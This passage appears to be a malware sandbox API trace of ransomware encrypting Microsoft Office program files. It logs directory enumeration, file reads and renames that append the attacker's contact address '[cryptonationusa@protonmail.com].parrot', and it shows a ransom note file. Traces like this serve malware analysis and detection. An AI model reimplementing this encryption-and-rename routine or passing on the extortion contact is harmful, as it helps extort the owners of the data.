nNumberOfBytesToRead=0x2ada0, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x2ada0, lpOverlapped=0x0) returned 1 [0194.971] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.976] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixoledb.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\ixoledb.pdl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.983] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.983] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0194.985] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.985] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x63fa0, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x63fa0, lpOverlapped=0x0) returned 1 [0194.998] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.019] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixoracle.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\ixoracle.pdl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.026] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.026] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0195.028] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.028] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2fda8, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x2fda8, lpOverlapped=0x0) returned 1 [0195.035] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.039] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixssrv.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\ixssrv.pdl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.048] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.048] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0195.091] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.091] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x499c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x499c, lpOverlapped=0x0) returned 1 [0195.093] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.100] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.100] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0195.102] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.102] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x89e6e, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x89e6e, lpOverlapped=0x0) returned 1 [0195.122] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.152] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP" (normalized: "c:\\program files\\microsoft office\\office14\\latin1.shp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\latin1.shp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.161] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0195.161] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0195.161] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.161] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0195.161] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0195.161] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1 [0195.161] lstrcmpW (lpString1="Analysis", lpString2=".") returned 1 [0195.161] lstrcmpW (lpString1="Analysis", lpString2="..") returned 1 [0195.161] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0195.163] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0195.163] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.163] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0195.163] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0195.163] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3bb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANALYS32.XLL", cAlternateFileName="")) returned 1 [0195.164] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.164] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0195.165] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.166] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3bb60, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3bb60, lpOverlapped=0x0) returned 1 [0195.172] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\analys32.xll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\analys32.xll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.188] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.188] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0195.189] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.189] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe0c7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe0c7, lpOverlapped=0x0) returned 1 [0195.193] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.195] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\atpvbaen.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\atpvbaen.xlam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.202] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.202] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0195.204] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.204] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6b62, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6b62, lpOverlapped=0x0) returned 1 [0195.206] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.208] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\funcres.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\funcres.xlam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.213] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.213] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0195.215] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.215] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcf2b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xcf2b, lpOverlapped=0x0) returned 1 [0195.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.223] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\procdb.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\procdb.xlam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.229] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0195.229] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x638b60, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x638b60, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.229] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5ec8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x3bc88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANALYS32.XLL.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ANALYS~1.PAR")) returned 1 [0195.230] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.230] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.231] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.231] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x62688, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x62688, lpOverlapped=0x0) returned 1 [0195.242] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.309] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0195.309] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0195.309] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.310] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0195.310] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0195.310] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6c340, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER.XLAM", cAlternateFileName="SOLVER~1.XLA")) returned 1 [0195.310] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.310] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0195.312] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.312] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6c340, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6c340, lpOverlapped=0x0) returned 1 [0195.326] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.345] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver.xlam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.358] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0195.358] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x769660, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x769660, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.359] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x769660, ftCreationTime.dwHighDateTime=0x1d5e09e, ftLastAccessTime.dwLowDateTime=0x769660, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x769660, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0195.359] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0195.359] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x71d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x71d3a0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.359] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x638b60, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x638b60, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1 [0195.359] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x684e20, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x627a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUROTOOL.XLAM.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EUROTO~1.PAR")) returned 1 [0195.360] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.360] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0195.361] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.361] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb590, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xb590, lpOverlapped=0x0) returned 1 [0195.363] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL" (normalized: "c:\\program files\\microsoft office\\office14\\logmodel.mdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\logmodel.mdl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.372] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 